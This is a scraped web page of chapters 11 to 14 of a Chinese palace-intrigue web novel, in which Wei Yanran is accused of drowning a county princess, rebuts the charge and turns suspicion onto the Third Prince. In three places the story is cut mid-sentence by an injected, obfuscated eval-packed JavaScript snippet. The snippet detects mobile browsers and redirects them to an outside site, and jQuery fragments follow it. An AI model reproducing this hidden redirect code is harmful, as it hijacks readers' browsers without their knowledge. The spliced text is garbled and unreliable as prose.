萧玉溪的身边的宫女们早已习惯她这般说一不二的样子,除了贴身女官程雪跟了进来,其他人都按部就班地去准备了。
若是往常,卫燕然也许还会和程雪聊上几句,现在实在是没那个闲情逸致。
到底是宫里的人,没一会儿,就有侍女敲门了。
“公主,水已经备好了,换洗的衣物也都放进房间了。您看您什么时候过去?”
11. 第十一章 萧玉溪
萧玉溪道:“下去吧。我一会儿就过去。”
门外宫人应了是。
然后她看着卫燕然,放柔了语气,道:“走吧,先去沐浴,一会儿再和你说。”
卫燕然苍白的脸上总算有了几分血色,她低头应是,喝下杯中最后一点热茶,扶着床头的栏杆起了身,一个人走到了隔壁。
中途萧玉溪想来搀扶她,也都被她婉拒。
大长公主对这个别庄是下了血本的,所以连一个近门的小院都配套齐全。虽然因为位置比较偏僻,院子算不上大,但麻雀虽小五脏俱全,屋子里什么东西都是有的。
卫燕然刚走到屏风后,就听到屋门“嘎吱”一声打开了。
卫燕然迟钝地抬头,好一会儿才反应过来屋子里进了人,厉声问:“什么人?”
屏风外传来萧玉溪的声音:“是我。”
闻言,卫燕然松了一口气,道:“是玉溪啊。”
萧玉溪轻笑道:“不是我还能是谁?我不会让别人进来的,放心吧。”
卫燕然应了声“好”。
没过一会儿,萧玉溪就听到了屏风后传来的“窸窸窣窣”的脱衣服的声音。
随后只听一声水花溅起的“噗通”声,屏风后便没了动静。
卫燕然蜷缩在浴桶里,温热的水拂平她纷乱的心绪,她颤抖的手终于安静下来。
虽然青阳不是她所杀,但她掌心里血的黏腻感一直挥之不去,就像握住了那杆长枪一样。
她已经好久没有见到过尸体了,还是自己认识的人的尸体。
她真的……太讨厌死人了。
她并不是害怕人死后的可怖形象,她只是讨厌生命在她面前逝去的感觉。这种感觉曾像阴云一样笼罩在她的人生中……太恶心了。
萧玉溪见屏风后毫无动静,心下了然,开始和卫燕然聊天:“对了,你怎么弄成这样了?我来之前还听说青阳为难了你。怎么一转眼就……”
屏风后传来一声极小的气声,然后就是卫燕然开始讲起今日发生之事的声音。
“……还好我耳朵好,听到了声音,不然后果不堪设想。”
“这样。”萧玉溪低头长叹一声,“真是辛苦我家燕然了。”
“我就是想不通。”卫燕然失神道,“明明是焦清惹的事,为什么要杀青阳呢?而且从前也不是没人假冒过军功,最难过的也不过是挨上几十军棍罢了。”
“怎么到大长公主这里,就要杀掉青阳替焦清转移注意力了?”
“刚刚正想和你说呢。”萧玉溪道,“焦清这次大概率是难救了,大长公主可能也会因他受到牵连。”
卫燕然皱了皱眉,问道:“有这么严重吗?之前也有宗室子弟假冒军功,最后不都高高举起,轻轻放下了吗?”
萧玉溪耐心解释道:“这次不一样。”
“兵部上奏折告状的时候,父皇他正在和南蛮的使臣炫耀,说焦清英雄出少年呢。”
提起这个名义上的父亲,萧玉溪的语气不受控制地转冷,手上也不慎被针扎了个洞。
但她很快就控制住了自己的情绪,接着说道:“刚刚才对着外人夸下海口,转头就被打脸了。当着外人,也不好发落检举的官员,一腔怒火可不就只能对着大长公主了吗?”
“说来也巧,但凡早一点或者晚一点,都碰不上。”萧玉溪垂下目光,勾起嘴角,“真是,太可惜了。”
卫燕然也叹息一声,长出了一口气。
萧玉溪又道:“我就是担心大长公主他们会因此为难你,所以才赶来看看,没想到还是来迟了一步。”
若是大长公主不搞这一出,焦清的折子至少要等两天之后才会递上去。毕竟自己还要参加人家的宴会,总不好刚接了帖子就过河拆桥。
谁知道这么恰好,碰上皇帝会见南蛮使臣……也算是大长公主他们自作自受了。
可这些大人做错了事,就要杀掉青阳来偿。
青阳也实在无辜。
卫燕然低头想着,心中一股无名之火肆虐,恨不得冲到大长公主面前质问她,她是怎么敢的。
但她只能长出一口气,将愤怒吐尽,剩下的只有无可奈何。
青阳已经死了。就是杀了大长公主,她也已经死了。她帮不了青阳什么。
聊得差不多了,她从浴桶里站了起来,准备换衣服。
但是屏风上除了自己的湿衣,并没有换洗的衣裳。
“玉溪,换洗的衣服是忘记拿了吗?”卫燕然从屏风处露出小半张脸,“怎么这里没有啊?”
“哦,换洗的衣裳被我换上了。”
“什么?”卫燕然震惊道。
萧玉溪疑惑地偏了偏头,反问道:“有什么不对吗?我都‘洗澡’了,怎么可能继续穿之前的衣服呢?这不合常理吧。”
“那我穿什么?”卫燕然迟钝地眨了眨眼,疑惑道,眼睛不由自主地落到自己先前换下的衣服上,随即嫌弃地移开目光。
她现在满脑子都是青阳和大长公主,思绪难得开始短路。
“你若是不嫌弃,不如穿我的衣服吧。”萧玉溪提议道,“我已经拆掉那些装饰了,还改了一下尺寸,你现在穿应该正好。”
卫燕然楞了一下,扫视了一下房间,确实没有别的选择了,便叹了一口气,妥协道:“……那你拿过来吧。”
也就是卫燕然现在脑子下线了,不然她肯定会质疑——怎么就这么巧,萧玉溪还提前改好了衣服尺寸。
萧玉溪走进內间,把衣服搭在了屏风上,然后低头转身回到了外间。
她缓缓地吸气吐气,尽量维持平稳呼吸,不让卫燕然发现端倪——但“扑通扑通”的心跳声实在做不得假。
不过她大概是想多了,卫燕然现在应该是注意不到她有什么异常的。
属实是媚眼抛给瞎子看了。
卫燕然在萧玉溪走后,伸手拿起她拿进来的衣裳。
看得出来这衣裳做了很多改动,几乎去掉了所有萧玉溪喜欢的繁复装饰,又按照卫燕然的习惯收小了袖口,从密密麻麻的针脚看得出来,做针线的那人是费了心思的。
卫燕然换上衣裳,除了稍微有些拖地以外,居然意外地还挺好穿。
甚至衣裳的颜色也是青色,不仔细看,和她之前穿的衣服大差不差了。
就是衣服上用了萧玉溪一贯爱用的熏香,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303294|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿的时候香气一阵一阵地往她鼻尖涌,让她总感觉萧玉溪就在自己的附近一样,浑身不自在。
算了。这时候挑什么?有得穿就不错了。
卫燕然换好衣服,拉开屏风,就见萧玉溪已经在梳妆台前站定,手上拿着毛巾,就等她过去了。
卫燕然迟疑道:“你这又是?”
“帮你绞干头发梳头呀。”萧玉溪微微偏头,态度自然地答道,“你不是不会梳女子的发髻吗?”
也许是萧玉溪的态度过于理所当然,以至于卫燕然一时竟没有发现有什么不对,朝萧玉溪走了两步之后才反应过来。
“这……好像不太好吧?”卫燕然迟疑道,“不然你让程女官进来帮我吧。”
萧玉溪垂下了手,受伤道:“可是,你从前在宫里留宿时,都是我帮你打理这些的。”
可留宿都是好多年前的事了。
“你不喜欢我了吗?”萧玉溪委屈地问道,“我不是你最好最好的姐姐了吗?”
卫燕然不知道该怎么回答,稀里糊涂地就被带到了梳妆台前,等她反应过来时,萧玉溪已经抚上了她的头发。
算了。由她去吧。卫燕然叹了口气。
萧玉溪很快就帮她绞干了长发。问了她今早的发型后,三两下就帮她打理出了一个简单的单螺髻。还从头上抽出一只钗,帮她固定。
“好看。”萧玉溪满意地看着铜镜,“我家燕然长得美,穿男装也好看,穿女装也好看。”
卫燕然愣神了片刻,站了起来,正色道:“我得赶紧走了,大长公主找不到我是不会善罢甘休的。”
“至于你,不到万不得已,千万别出来。”卫燕然板起面孔,嘱咐道,“见势不妙就赶紧回去,明白吗?千万别搅和进来。”
萧玉溪皱眉,道:“那你怎么办?”
“我不会死的。”卫燕然信誓旦旦道,“只要我卫家一天还在边关打仗,狗……那位就不会杀我——顶多就是受点皮肉之苦罢了。”
“你不一样,你绝对不能出事。你若出事,我们筹谋的一切都没了。你知道吗?”
萧玉溪冷哼一声,张嘴正想拒绝。但看着卫燕然严肃却暗含祈求的目光,那声拒绝就怎么也说不出口。
最后她长叹一声,道:“你明知我拒绝不了你,还就知道拿捏我。”
卫燕然露出一个清浅的笑,道:“我知道表哥是有分寸的。后面就拜托你了。”
说完,她冲萧玉溪安抚一笑,不待萧玉溪挽留,就跑出了房间。
留下萧玉溪看着她的背影沉思。
有分寸……吗?
不过是看对谁罢了。
他捏紧手中的玉牌,打定了主意。
走出院子,卫燕然特意往园林的方向走了段路,才现身被众人发现。
刚走了没几步,就听到有人说:“快来人,卫四在这里!”
没过一会儿,一帮人乌泱泱地就朝卫燕然涌来。
卫燕然假装惊讶,道:“怎么了这是?”
围着她的散开了些,有个嬷嬷站了出来,道:“卫娘子,我家县主从跟着你离开后,就没了踪影。还望您配合一下,帮我们找一下人。”
12. 第十二章 诬陷
嘴上说着是希望卫燕然帮忙,但那气势,就像是要抓她去三司会审一样。
所以就范是不可能就范的。
卫燕然冷下脸,道:“这就是你们大长公主府请人办事的态度?”
那嬷嬷也一脸严肃,仿佛当真是在公事公办一样,道:“事急从权。还望卫娘子不要见怪。”
“若我见怪了呢?”卫燕然挑眉冷笑道,“若我见怪了,你们又当如何?”
那嬷嬷冷声道:“那便只能先对不起卫娘子了。如有得罪,还望海涵。”
那嬷嬷说着,冷淡地看了卫燕然一眼,然后对周围人道:“拿下!”
随着那嬷嬷的一声令下,那些家丁们手持械具,纷纷涌向卫燕然。
要被包围了,卫燕然却丝毫不慌。她眼神微微变冷,抽出折扇,一个转身,就快准狠地敲了最先跑来那人的脖子,那人应声倒下。
卫燕然桎梏着倒下那人的肩膀,准备拿这人给自己当盾牌。但见接连涌来的其他人丝毫没有顾忌同伴的模样,便又拽起倒下那人的脚腕,单手将人抡了起来。
她一个横扫,就把逐渐围成包围圈的众人一一打了出去。
趁这个机会,她用余光扫到了那位嬷嬷的所在。于是卫燕然抡着人转圈的手顺势一松,便将那昏迷不醒的人向那嬷嬷的方向掷了过去。
那位嬷嬷身边的人如鸟兽四散,将她暴露在了人群外。她自己年纪也大了,腿脚不如年轻人灵活,躲避时不慎绊了一跤,跌坐在了地上,面色惊恐。
卫燕然在将人丢出去的瞬间,一个弹跳起步,就冲了过去。
眼见被掷出去那人就要砸到那嬷嬷了,卫燕然堪堪拉住了那人的一只脚,手腕一抖,便卸了冲力。
然后她随手一丢,就将那人弃置到了一旁。
虽然得救了,但那嬷嬷脸色青白,显然吓得不轻。
卫燕然拽着那嬷嬷的衣领,将人提了起来,不知何时又回到她手中的扇子,也威胁意味很重地抵在了那嬷嬷脖颈处。
“看来大长公主还是不长记性。”卫燕然冷声道,“我再说一遍,希望这是最后一遍——我最讨厌有人胁迫我了。”
那嬷嬷脸色青白,又惊又怒又惧,几乎快要背过气去——
她可是从小就在大长公主身边伺候的侍女,跟了大长公主一辈子,从来没有受过除大长公主以外任何人的气,就连大长公主的驸马和孩子都对她尊敬有加。
可现在她居然被一个小辈抵着脖子威胁!
她既不想屈服,让自己几十年来积攒的脸面被卫燕然踩在脚下,又确实害怕卫燕然真的动手伤了她。
于是她梗着脖子,既不敢开口,也不愿意低头。
卫燕然冷眼看着此人,又是一只蠹虫。
她也懒得和这种人对峙浪费时间,见那嬷嬷脸色越发难看,手脚还开始发抖,便松了手,下令道:“带路吧。”
“带、带什么路?”那嬷嬷脚下一软,勉强站定,磕磕巴巴地开口,语气再没有当初的居高临下,反而干哑至极。
卫燕然挑眉,笑道:“不是你说的,帮你们找县主吗?怎么,现在你们的县主又不重要了?”
那嬷嬷嘴角抽动,似乎想扯出一个笑来,但没有成功,表情十分扭曲:“您……您愿意帮忙,自然再好不过。”
“少废话,带路。”
卫燕然上前,轻轻推了一把那嬷嬷的腰。那嬷嬷便跌跌撞撞地往前冲出去好几步,然后被一个极有眼力见儿的丫鬟给扶住了。
踩实了地面,那嬷嬷转头怒视卫燕然,张嘴正想说些什么,被卫燕然一个瞪视,又吓了回去,最后还是老老实实地亲自带起路来。
不出意外,几人走的方向就是那园林的方向。
心中的猜测得到了印证,卫燕然眼神更冷了几分。
还未到园林,便看到了乌泱乌泱的人群围在湖边。大家难得没有遵守所谓的男女大防,三三两两地走在一起,对着整个园林指指点点——
看人数,差不多是今天所有参加春日宴的人了。
卫燕然垂下眼睛,遮住自己眼中的冷意。
刚走到湖畔,卫燕然就被一个哭得涕泪横流的中年妇人抱住了腰。
那中年妇人身量不高,脸颊微丰,呈现出养尊处优的富态。卫燕然从前见她时,她都笑得和蔼可亲。很多女子成婚时都爱请她去做全福人。
但此时这位京城出了名的“全福人”哭得泪如雨下,好不可怜。
她便是青阳县主的母亲,大长公主的儿媳,宫柳玉。
卫燕然本来可以闪开,但她身边就是不知深浅的湖水,于是她忍住闪躲的欲望,任由那妇人抱住了自己。
“卫娘子。”宫柳玉趴伏在卫燕然身上,冲她哭道,“我知道我家青阳得罪了你。你若是心里有气,只管冲我们这些大人来,我们绝无怨言!”
“可你怎么能,怎么能对我家青阳下手呢!”宫柳玉一边哭着,一边伸手要打卫燕然。
“她还是个孩子啊!”
众人一片哗然。
卫燕然自然不可能站在原地一动不动,任由她打骂。她手腕一翻,一个四两拨千斤的手法,就将人推到一旁,跌跪在了地上。
见宫柳玉跪下,卫燕然也不躲,硬是生受了她的“大礼”,冷笑一声,答道:“下手?我都没有见过她,谈什么下手?”
宫柳玉跪坐在地上,凄厉地喊着:“有人看见了!有人看见青阳她跟着卫娘子你一同到了那桥边,而后你们二人起了争执,在桥上大打出手了!”
“我家青阳哪里是你的对手,被卫娘子你打晕后推下水去了……”
宫柳玉说完,又是一阵催人心肝的泣音,哭得都快背过气去了,这才被身后匆忙赶来的丫鬟搀扶了起来。
她哭得站不住脚,整个身体几乎都压在了丫鬟身上,看着好不可怜。
好在大长公主对这幅场景应该早有预料,特意叫来了一个身强体壮的丫鬟。若是选角柔弱些,怕是会被宫柳玉给压趴下。
“哦?”卫燕然冷漠地挑眉,“谁看见了,不会是你家的家丁吧?”
宫柳玉点头又摇头,哀哀切切道:“不止我家的家丁,还有兵部侍郎家的千金也看到了。”
卫燕然冷笑着回应:“我朝兵部侍郎有数人,不知宫夫人您说的是哪位?”
“自然是……”
宫柳玉自然地就要脱口而出,又慌忙地住了嘴,惊恐地摇头道:“不,我不能!你已经害了青阳,这次再害了她怎么办?”
“她是个好孩子,冒着这么大的风险告诉我这些,我不能害了她!我……”
卫燕然兴致怏怏,不耐烦地打断道:“也就是说,你们拿不出人证,对吗?”
“我……不是,这……”宫柳玉语无伦次地说道。
看戏的人群中,突然传来一声叹息,周围的其他人纷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303295|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纷将目光投向那发声之人,那人也就顺势站了出来。
“是我。”那女郎一边说着,一边朝卫燕然这边缓步走来,“我看见了。”
原来还是个熟人——之前宴席上那位,站出来帮青阳为难卫燕然的女郎。
这女郎身穿绿裙,皮肤白皙,淡眉细眼,身量较宫柳玉要高些,身形比寻常女郎瘦削些。
她在今日之前名不经传,卫燕然只记得她似乎是兵部魏侍郎的女儿。至于其他,名字、排行、年龄,卫燕然都一无所知。
这位魏女郎刚一走出来,便被宫柳玉厉声呵斥了。
宫柳玉脸上淌着泪,转头瞪视着魏女郎,恨声道:“你站出来干什么?还不快给我回去!我这里用不着你!我自会给我儿讨回公道!”
这位魏女郎哀婉一笑,道:“我知道您想保护我。可若是今日我不站出来,我往后余生都会活在愧疚中,会时刻遭受良心的谴责,会终其一生都不得安宁。”
“所以为了我往后的日子里能睡个安稳觉……您原谅我的鲁莽吧。”
闻言,宫柳玉悲痛地闭上了眼睛,一边垂泪一边妥协道:“罢罢罢。你这孩子,让我说你什么好。”
也许是知道她们葫芦里在卖什么药,卫燕然竟然没有不耐烦地打断她们,反而颇有兴致地看完了全程。
她微微挑眉,总算露出了一个笑容,道:“既然你说你看到了,那不妨复述一下当时的场景。”
那位魏女郎轻轻咬了咬下唇,点了点头,手里捏着扇子,微微抬头看向卫燕然,缓缓说道:“当时我见青阳县主离席后,有些担心她。便跟在了她身后……”
卫燕然一只手叉腰,另一只手掏了掏耳朵,不耐烦地打断:“说重点!”
魏女郎肩膀微微一耸,像是被卫燕然吓住了一般,垂下了目光,再开口,语速快了不少:“而后我便看见青阳县主跟着你,走到了这个园林。”
“当时卫娘子走在桥上,青阳县主追了上去。不知道你们二人说了什么,然后……然后就见你往青阳县主颈后一敲,她就掉下湖了。”
说着,魏女郎眼中流露出悲痛,她闭上眼轻轻摇了摇头,再睁眼,又目光灼灼地看向了卫燕然。
好像她真是个不畏强权的目击证人。
众人也纷纷屏住呼吸,看向卫燕然,等着她的回应。
卫燕然挑眉问道:“你既然看到我把青阳丢下水,怎么不找人来救她呢?”
魏女郎咬了咬唇,狼狈地低头,道:“我当时……太害怕了。我从来没有见过这种事,所以被吓得愣在了原地,根本不敢出声,好久才回过神来。”
“等我想起来时……太晚了。”
说着,她眼角淌出清泪:“是我不好。若是我能勇敢一点,说不定青阳她就……”
宫柳玉倾身,拍了拍魏女郎的手,安抚道:“好孩子,不怪你。你现在敢站出来已经很勇敢了。”
好一幅“母慈女孝”的画面。
卫燕然拊掌,轻笑出声。
“你这谎话编得不错。”她微微颔首道,“可惜了。我也有人证。”
她挑眉,朝人群中喊道:“王焕之何在?”
“在这儿呢——麻烦让一下。”
人群骚动了一瞬,不一会儿,就见一位身穿白色交领圆袍的少年挤了出来。
一边跑,这人还一边嚷嚷道:“燕然姐我来了!我等你叫我等得花儿都快谢了。”
13. 第十三章 澄清不了
卫燕然微微一笑,用折扇指着王焕之道:“我从县主招待客人的院子里出来,就碰到了前来找我的王焕之。”
“若真如你所说,你看见县主在我离席后就来找我了,那你的描述里,怎么会没有王焕之呢?”
魏女郎正要开口说些什么,就又被卫燕然打断:“我知道你想说他今天没有一直和我在一起。但王焕之能证明我们当时去了北边的树林赏花,这个园林在南边,无论如何,我都没办法在你们到之前赶来这里。”
王焕之站在一边,压着兴奋点头,道:“没错,燕然姐刚从院子里出来就撞上我了。之后很长一段时间,她都是和我在北边那个桃花林,我今日可根本没见过青阳县主。”
那位魏女郎楞了一瞬,随即道:“京中众人皆知,王公子是你的……我们又怎知他是不是为了包庇你,给你做假证呢?”
闻言,王焕之愣了,他脸上露出明显的怒意。但他刚提手撸了撸袖子,就被卫燕然抬手制止了后续动作。
卫燕然避重就轻问:“所以你的意思是,亲近关系的人所作的证明都算不得数了?”
宫柳玉红着眼,在一旁一边拭泪一边点头道:“这是自然。”
于是卫燕然两手一摊,道:“既是如此,那这位魏娘子所作的证也应当不算数才是。”
“什么?”宫柳玉惊了,质问道:“凭什么不算?”
“因为我听闻,这位魏娘子即将嫁到你们焦家,成为你们焦家的儿媳。”
卫燕然轻笑一声:“这么亲近的关系,我又怎知她是不是为了讨好未来婆家,故意做假证呢?”
这句话刚说完,就引起了众人的交头接耳,大家不敢对卫燕然指指点点,还不敢对一个小侍郎的女儿指指点点吗?
到底是年岁小,藏不住事。
那位魏娘子听到卫燕然的话,面色惨白,本就苍白的皮肤此刻更是白得像纸一般。她身形微微虚晃了两下,才堪堪站稳。
但她很快就反应过来,颤抖着嘴唇,仿佛受了天大的侮辱,道:“你……你怎么能凭空污人清白?”
一旁的宫柳玉到底比她多吃了几十年的饭,闻言只是微微瞪大了双眼,很快就又恢复成刚才伤心欲绝的模样,否认道:“这怎么可能!你从哪里听来的胡言乱语?”
被两人接连否认,卫燕然也不恼,反而好整以暇地问:“所以你们的意思是,我听到的都是流言咯?”
“自然。”那位魏女郎倔强地抬头,直视卫燕然的眼睛。
“既然如此,”卫燕然笑道,“魏娘子你当着所有人的面,发誓你今生嫁娶都与大长公主府的人无关,怎么样?”
此话一出,众人刚刚停歇的议论重新燃起,又是一片听不清的“嗡嗡”声。
魏娘子也愣住了,过了好久才结结巴巴地说道:“什……什么?”
卫燕然凑近那位魏娘子,道:“你发誓,无论是焦清,还是别的什么人。只有是和大长公主有关的人家,你都不嫁。”
“如此,我便信你是无关的、只想见义勇为的路人,如何?”
这下,这位魏娘子的脸彻底白得和鬼一样了。
她控制不住的回头看了一眼宫柳玉,眼里写满了求救。
而宫柳玉却借拭泪的动作把头扭向一边,只做没看见一般。
她被放弃了。
但她只是低头思量了一瞬。再抬头,她还是格外的正气凛然:“我发誓,今生绝不嫁给和大长公主有关的任何人家。”
“这样,你满意了吗?”她眼眶微红,颤抖着声音冲卫燕然问道。
看戏看到这一步,围观的众人,尤其是女子,好多都倒吸了一口凉气。
大长公主在京城的姻亲众多,这位魏娘子这么说,基本上是绝了和京城权贵们结亲的路。
卫燕然无可无不可地点头,道:“说不上满意,也说不上不满意,也就这样吧。”
她往旁边挪了一步,露出身后的王焕之,折扇一打,便指着王焕之道:“既然人证你们不信,那我还有物证。”
“王焕之他今日找到我之后,出言不逊惹怒了我,于是挨了我一顿揍。”
她用折扇在王焕之身上轻点:“这里、这里、还有这里,轻则淤伤,重则红肿。都是刚打出来的痕迹,你们一看便知。”
王焕之闻言,迫不及待地撸起袖子和裤腿,露出身上的伤给众人看,道:“你们看,都是今日现打的。绝对童叟无欺。”
那神色嚣张得,仿佛他不是个挨揍的,而是揍人的。
卫燕然面向众人,挑眉笑道:“你们刚才也都看到了,王焕之过来以后,我们二人并无任何交流。也就谈不上彼此串供的问题。”
她轻飘飘地又把问题抛给大家:“不知这个物证,你们满意不满意?”
人群骚动了一瞬,很快又恢复了平静,都在等宫柳玉和魏女郎继续表态。
宫柳玉见状,面上闪过一丝茫然,怒色稍减,却还是盯着卫燕然不放。
卫燕然也驻足原地,神色轻佻地看向那两人。身处案件漩涡,却不像个局中人,倒像个看热闹的看客。
就在那位魏女郎沉思片刻,正要开口说些什么时,一个小厮跑着赶来,打破了这片寂静。
“找到了!找到了!”
宫柳玉“唰”地一下抬起头,走过去抓住了那小厮的手臂,问:“找到我儿了?”
那小厮微微喘着气,点头道:“是。”
他举起手中的东西:“这是县主的……遗物。”
在场的众人沸反盈天,不少女子都不忍地别过头去。
那是几件华服,包了一堆金做的首饰,随着小厮举起来的动作,在小厮的手里“咣当”作响。
见了这些,那位魏娘子黯淡的眼睛慢慢亮了起来。她试图压住眼中的兴奋,但张扬的神采还是从她眼中满溢。
她三步并作两步,凑到那小厮的身边,从小厮手中抓出了一只青玉簪来。
那小厮有些惊讶,看了魏女郎一眼。见旁边的宫柳玉没有反对,便又抱着那堆东西退回到人群中。
他只是来通知打捞进程的,通知完了,便也没他的事儿了。
魏娘子把那簪子举起来,就像举起一把火炬,大声宣布道:“这是卫燕然的簪子!”
她面向众人,像展示一件稀世珍宝一般展示着这只青玉簪。
“她今天在院子里戴的就是这一只!所有人都看见过!她来过这里,还掉了簪子。现在她头上那只金钗就是证据!”
说完,她转头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303296|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看向卫燕然:“不知卫娘子能否给出一个合理的解释,为什么你的发簪会出现在青阳县主的遗物里?”
众人一片哗然。卫燕然的不在场证明,破了。
闻言,卫燕然还没怎么样,宫柳玉却像被雷劈中了一般,又惊又怒地抬起头。
她疾走两步,走到卫燕然身边,死死抓住了她的胳膊,面色青白地质问道:“果然是你!我就知道……”
卫燕然拂开宫柳玉的手,冷淡道:“我不知道你在说什么。”
宫柳玉愣愣地看着卫燕然,目眦欲裂,失了言语。
但她还是强撑着,死死地盯着卫燕然。她现在满脑子都是她的儿女。她亲生的孩子只有焦清和青阳二人,女儿已经死了,儿子不能再丢了,所以哪怕真的不是卫燕然所杀,她也要借机攀扯卫家,不然怕是连唯一的孩子也要失去了。
之前扶着她的那丫鬟还算有眼力见儿,赶紧上前两步搀扶住她。
而卫燕然看宫柳玉这番模样,心下一沉,本来十拿九稳的把握顿时去了七成。
她不知道。不是她?
还是大长公主没告诉她?
不会的,大长公主若是不告诉她,她该怎么配合呢……还是说,她的推测出错了,这件事不是大长公主为了脱罪所为?
对,是她先入为主了。
是她见多了杀女护子之人,所以看到青阳的尸体便下意识地以为这是大长公主她们所为,目的是为了给焦清脱罪用。
可仔细想来,焦清违反军令,假冒军功,大长公主为了保全家族,和焦清撇清关系都来不及呢,怎么会冒这么大的风险救他?
毕竟大长公主的膝下又不止焦清一个孙子,也不止焦清父亲一个儿子,何必为了一个注定要死的人再赔上三代里唯一一个县主呢?
可不是她,又会是谁呢?
青阳一个小姑娘,除了平日里嚣张跋扈了一点,虚荣攀比了一点,根本不至于得罪什么人啊。
……罢了,现在脱罪要紧,真凶什么的,往后再查吧。
心里有了主意,卫燕然面上倒是不显,依旧挑眉道:“既然你们一定要认为我是凶手,那不如我们一起去看看青阳的尸体。”
说着,她率先朝桥上走去,众人纷纷让开了道,供她们上前。
卫燕然走到湿淋淋的桥上,为了避嫌,根本不靠近,隔着一段距离蹲下身,仔细端详着青阳的尸体。
过了一会儿,她突然轻声笑道:“宫夫人,你说现场有我的东西,所以我是凶手,对吗?”
宫柳玉瞪着她那双布满了血丝的眼,声音嘶哑道:“不然呢?”
卫燕然站起身,指着面前青阳的右手,道:“她手里,好像抓着的是皇子令。这样看来,是不是某位皇子的嫌疑比我还大呢?”
宫柳玉一惊,道:“怎么可能?”
卫燕然轻笑:“怎么不可能?”
有御医在一旁,闻言上前费力地掰开青阳县主的手,确实有一块玉牌。
那御医检查了两遍,确定无误后冲卫燕然和宫柳玉点了点头,道:“确实是皇子令。”
卫燕然笑了,又问:“不知是哪位皇子的皇子令?”
那御医迟疑了一下,还是道:“是三皇子的皇子令。”
14. 第十四章 收押
青阳县主的尸体手中有三皇子的皇子玉牌一事,在围观的众人里炸开了锅。
萧玉尘本来还在笑着看戏,闻言是再也笑不出来了。
看着卫燕然那张挑衅的笑脸,他哪里还有什么不明白的。
但他还是不信邪地悄悄摸了摸腰间,果然皇子玉牌丢了。
其余人等见状,也纷纷给他让了位置,让他也上前去。
他只好扯出一个礼貌的笑容,朝那些给他让路的“好心人”微微颔首致意,大方地提步走向卫燕然的方向。
只是虽然面上还是一派云淡风轻,萧玉尘心中却在暗恨,差点咬碎一口好牙。
卫燕然,你好得很!
众人之中,有人惊叹于这位名不经传的三皇子的美貌,有人震惊于案子走向越发扑朔迷离。
总之,在大家复杂的眼神中,萧玉尘走到了前面。
卫燕然见萧玉尘过来了,挑眉看向宫柳玉二人,道:“现在我应当不是唯一有嫌疑的人了,不若你们也审问审问他?”
宫柳玉张了张嘴,看了看卫燕然又看了看萧玉尘,几次想说话,都没说出什么,最后只能狼狈地低下头。
那位魏女郎也安静地不吭声。毕竟她也想不到这事会越闹越大,竟然和皇子都扯上关系了。
萧玉尘长出了一口气,转头看向那位努力缩小自己存在感的御医,温和地问道:“既然现在我也有了杀青阳县主的嫌疑,我便问上一句:不知青阳县主的死因为何?”
那御医被点名后,尴尬地笑了笑,站出来道:“青阳县主死于颈骨骨折,应当是有人在她后颈处大力敲打,使其颈骨破碎所致。”
萧玉尘沉思片刻,便道:“我也不是为自己开脱什么。只是,京中众人皆知,卫娘子你善使一把折扇,轻易就能用折扇将人敲晕。所以这伤……”
卫燕然不赞同地微微摇了摇手指,道:“非也非也。从后面袭击一位弱女子,是个儿郎都能办到。我习武多年,自然知道下手轻重,可若是换了不曾习武之人,不慎用力过大致使青阳县主死亡,也不是不可能。”
萧玉尘微微磨了磨牙,还是笑道:“卫娘子说得在理,但照卫娘子的说法,任何一个人都可能是杀害了青阳的凶手。而我与青阳县主往日无怨,近日无仇。我为何要杀她呢?”
卫燕然挑眉道:“真要说动机,虽然我与青阳县主素有旧怨,但京中众人皆知,我心怡太子殿下已久。既如此,我又为何要杀掉太子殿下的表妹呢,这岂不是会让太子殿下厌弃于我?”
“如果是临时起意,愤而下手呢?”萧玉尘笑道,“如果是这样,应该没有心力去关注力道问题吧?”
卫燕然也笑,道:“如果是盛怒之下才下的杀手,会这么干脆利落地一击必杀吗?那不得下手多捅几刀?”
两人假笑着对视一眼,互不相让。接着便彼此攀咬起来,闹得更凶了。
而一旁的宫柳玉张张嘴,实在说不出什么话来。
毕竟就算萧玉尘是个不得宠的皇子,但也是皇帝膝下仅有的三个成年皇子之一,陛下现在一共也就有四个皇子,哪一个都不是她一个外命妇能攀扯的。
偏偏大长公主都到了此时也还是不出现,她……
就在卫燕然和萧玉尘僵持不下之时,突然几位太监不知从哪里蹿了出来,为首那人正是孙大伴。
孙大伴身边跟着一人,身穿三品官服,正是御史大夫,司掌京城百官监察和京城内发生的要案。
孙大伴道:“陛下有旨。”
众人哗啦啦地跪倒一片。就是卫燕然和萧玉尘也不例外。
